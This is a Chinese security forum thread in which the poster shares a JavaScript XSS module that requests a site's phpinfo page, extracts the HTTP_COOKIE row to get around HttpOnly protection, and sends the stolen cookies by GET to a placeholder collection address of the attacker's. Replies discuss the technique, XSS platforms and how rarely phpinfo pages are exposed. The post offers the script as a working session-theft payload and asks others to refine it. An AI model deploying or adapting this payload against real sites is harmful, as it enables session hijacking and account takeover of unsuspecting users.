特定情况下phpinfo获取cookie(突破)httponly

2020-04-13 00:10:05 29 6158
这个模块是之前收集的 实现 是实现了 可是有点不完善纳 有大佬给改改吗

模块代码

function createXmlHttp() {
    if (window.XMLHttpRequest) {
       xmlHttp = new XMLHttpRequest();               
    } else {
       xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
}
function getS() {
    var Url = 'PHPinfo的地址';
    createXmlHttp();
    xmlHttp.onreadystatechange = writeS;
    xmlHttp.open("GET", Url, true);
    xmlHttp.send(null);
}
function writeS() {
    if (xmlHttp.readyState == 4) {
     var x = xmlHttp.responseText.match(/<td[^<>]+?>_SERVER\["HTTP_COOKIE"\]<\/td><td[^<>]+?>([\w\W]+?)<\/td>/);
     if (x){
        var url = "自己收取cookie的地址" + x; //x 为带httponly cookie的所有cookie
        createXmlHttp();
        xmlHttp.open("GET", url, true);
        xmlHttp.send(null);  
       }   
    }
}
getS();

关于作者

hr9999s篇文章篇回复

评论29次

要评论?请先  登录  或  注册
  • TOP1
    2020-4-13 09:19

    在php里设置了http-only可以禁止JS读取cookie,但是phpinfo.php函数中包含带有禁止js读取的cookie,也就是说,只要找到phpinfo.php这个函数,就能读取cookiele, 前提是要有phpinfo.php这个函数, 一般来说,设置了http-only的,都有一定的安全意识,很少有出现这种phpinfo.php函数的

  • TOP2
    2020-4-13 23:41

    你都getshell了,在目标登录的文件里随便动点手脚都抓的到密码

  • 9楼
    2020-4-13 09:35

    直接引用设置phpinfo

  • 8楼
    2020-4-13 09:35

    这个思路好,但是phpinfo 很少情况存在,除非是直接用的那种集成环境包

  • 7楼
    2020-4-13 09:19
    宇哥哥

    我怎么没懂你讲的这种情况有phpinfo的情况下就可以突破httponly获取coookie

    1

    在php里设置了http-only 可以禁止JS读取cookie,但是phpinfo.php函数中包含带有禁止js读取的cookie,也就是说,只要找到phpinfo.php这个函数,就能读取cookiele, 前提是要有phpinfo.php这个函数, 一般来说,设置了http-only的,都有一定的安全意识,很少有出现这种phpinfo.php函数的

  • 6楼
    2020-4-13 09:02

    我怎么没懂你讲的这种情况有phpinfo的情况下就可以突破httponly获取coookie

  • 5楼
    2020-4-13 08:53

    有点骚啊,土司的xss平台集成了吗?

  • 4楼
    2020-4-13 08:22

    可以的大兄弟,只要有PHPINFO的XSS漏洞,COOKIE是必须泄露出来的了。

  • 3楼
    2020-4-13 07:17

    好骚气的 姿势啊。

  • 2楼
    2020-4-13 04:21

    像是beef的思路

  • 1楼
    2020-4-13 00:24

    直接在他的cookie下 ajax 访问这个phpinfo 文件 然后写个php接受文件 这样ok?